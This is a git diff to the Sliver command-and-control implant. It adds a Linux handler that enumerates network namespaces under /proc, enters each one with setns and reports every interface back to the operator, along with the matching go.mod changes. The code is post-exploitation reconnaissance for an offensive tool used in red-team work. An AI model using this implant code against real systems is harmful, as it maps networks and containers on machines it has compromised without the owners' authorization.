diff --git a/implant/go-mod b/implant/go-mod index 76bb94fb49..df1d3b71e8 100644 --- a/implant/go-mod +++ b/implant/go-mod @@ -18,9 +18,11 @@ require ( github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e golang.org/x/crypto v0.13.0 + golang.org/x/net v0.15.0 golang.org/x/sys v0.14.0 golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb google.golang.org/protobuf v1.31.0 + gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 ) require ( @@ -37,7 +39,6 @@ require ( github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/pmezard/go-difflib v1.0.0 // indirect golang.org/x/mod v0.13.0 // indirect - golang.org/x/net v0.15.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/time v0.3.0 // indirect golang.org/x/tools v0.13.0 // indirect @@ -48,5 +49,4 @@ require ( gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect - gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect ) diff --git a/implant/sliver/handlers/handlers_linux.go b/implant/sliver/handlers/handlers_linux.go index 8383e481f5..9e4d15cfdf 100644 --- a/implant/sliver/handlers/handlers_linux.go +++ b/implant/sliver/handlers/handlers_linux.go @@ -58,7 +58,7 @@ var ( sliverpb.MsgMvReq: mvHandler, sliverpb.MsgCpReq: cpHandler, sliverpb.MsgTaskReq: taskHandler, - sliverpb.MsgIfconfigReq: ifconfigHandler, + sliverpb.MsgIfconfigReq: ifconfigLinuxHandler, sliverpb.MsgExecuteReq: executeHandler, sliverpb.MsgEnvReq: getEnvHandler, sliverpb.MsgSetEnvReq: setEnvHandler, diff --git a/implant/sliver/handlers/rpc-handlers_linux.go b/implant/sliver/handlers/rpc-handlers_linux.go index ba7cd83c52..524700359e 100644 --- a/implant/sliver/handlers/rpc-handlers_linux.go +++ b/implant/sliver/handlers/rpc-handlers_linux.go @@ -23,10 +23,21 @@ import ( "log" // {{end}} + "fmt" + "io/ioutil" + "net" + "os" + "path/filepath" + "runtime" + "strconv" + "syscall" + "github.com/bishopfox/sliver/implant/sliver/ps" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "google.golang.org/protobuf/proto" + + "golang.org/x/sys/unix" ) func psHandler(data []byte, resp RPCResponse) { @@ -51,10 +62,10 @@ func psHandler(data []byte, resp RPCResponse) { for _, proc := range procs { p := &commonpb.Process{ - Pid: int32(proc.Pid()), - Ppid: int32(proc.PPid()), - Executable: proc.Executable(), - Owner: proc.Owner(), + Pid: int32(proc.Pid()), + Ppid: int32(proc.PPid()), + Executable: proc.Executable(), + Owner: proc.Owner(), Architecture: proc.Architecture(), } p.CmdLine = proc.(*ps.UnixProcess).CmdLine() @@ -63,3 +74,155 @@ func psHandler(data []byte, resp RPCResponse) { data, err = proto.Marshal(psList) resp(data, err) } + +func getFdFromPath(path string) (int, error) { + fd, err := unix.Open(path, unix.O_RDONLY|unix.O_CLOEXEC, 0) + if err != nil { + return -1, err + } + return fd, nil +} + +func getUniqueFd(fd int) string { + // Returns the unique namespace ID + var s unix.Stat_t + + err := unix.Fstat(fd, &s) + + if err != nil { + return "Unknown" + } + + return fmt.Sprintf("NS(%d:%d)", s.Dev, s.Ino) +} + +func ifconfigLinuxHandler(_ []byte, resp RPCResponse) { + interfaces := ifconfigLinux() + // {{if .Config.Debug}} + log.Printf("network interfaces: %#v", interfaces) + // {{end}} + data, err := proto.Marshal(interfaces) + resp(data, err) +} + +func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) { + namespacesFound := make(map[uint64]string) + + procDir := "/proc" + procContents, err := ioutil.ReadDir(procDir) + + if err != nil { + //{{if .Config.Debug}} + log.Printf("error reading /proc: %v", err) + //{{end}} + return + } + + for _, entry := range procContents { + if !entry.IsDir() { + continue + } + match, _ := filepath.Match("[1-9]*", entry.Name()) + if match { + // Check if /proc/PID/net/ns exists + checkPath := filepath.Join(procDir, entry.Name(), "/ns/net") + + if _, err := os.Stat(checkPath); !os.IsNotExist(err) { + // path for /proc/PID/ns/net exists + // inode used to track unique namespaces + var inode uint64 + + fileinfo, err := os.Stat(checkPath) + + if err != nil { + //{{if .Config.Debug}} + log.Printf("error : %v", err) + //{{end}} + continue + } + inode = fileinfo.Sys().(*syscall.Stat_t).Ino + // Track unique namespaces + namespacesFound[inode] = checkPath + } + + } + } + + // Lock the OS Thread so we don't accidentally switch namespaces + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + // Save the current network namespace + pidPath := strconv.Itoa(os.Getpid()) + tidPath := strconv.Itoa(unix.Gettid()) + origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net")) + defer unix.Close(origns) + + // We only need to use the path value + for _, nsPath := range namespacesFound { + nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0) + if err != nil { + continue + } + // Ignore origin namespace + if getUniqueFd(nsFd) == getUniqueFd(origns) { + continue + } + + err = unix.Setns(nsFd, unix.CLONE_NEWNET) + + if err != nil { + // Failed to enter namespace + continue + } + + ifaces, _ := net.Interfaces() + // {{if .Config.Debug}} + log.Printf("Interfaces: %v\n", ifaces) + // {{end}} + ifconfigParseInterfaces(ifaces, interfaces, nsPath) + } + // Switch back to the original namespace + unix.Setns(origns, unix.CLONE_NEWNET) +} + +func ifconfigLinux() *sliverpb.Ifconfig { + netInterfaces, err := net.Interfaces() + if err != nil { + return nil + } + + interfaces := &sliverpb.Ifconfig{ + NetInterfaces: []*sliverpb.NetInterface{}, + } + + ifconfigParseInterfaces(netInterfaces, interfaces) + nsLinuxIfconfig(interfaces) + + return interfaces +} + +func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) { + // Append namespace ID if passed in + var appendNsId = "" + if len(namespacePath) > 0 { + appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0]) + } + + for _, iface := range netInterfaces { + netIface := &sliverpb.NetInterface{ + Index: int32(iface.Index), + Name: iface.Name + appendNsId, + } + if iface.HardwareAddr != nil { + netIface.MAC = iface.HardwareAddr.String() + } + addresses, err := iface.Addrs() + if err == nil { + for _, address := range addresses { + netIface.IPAddresses = append(netIface.IPAddresses, address.String()) + } + } + interfaces.NetInterfaces = append(interfaces.NetInterfaces, netIface) + } +}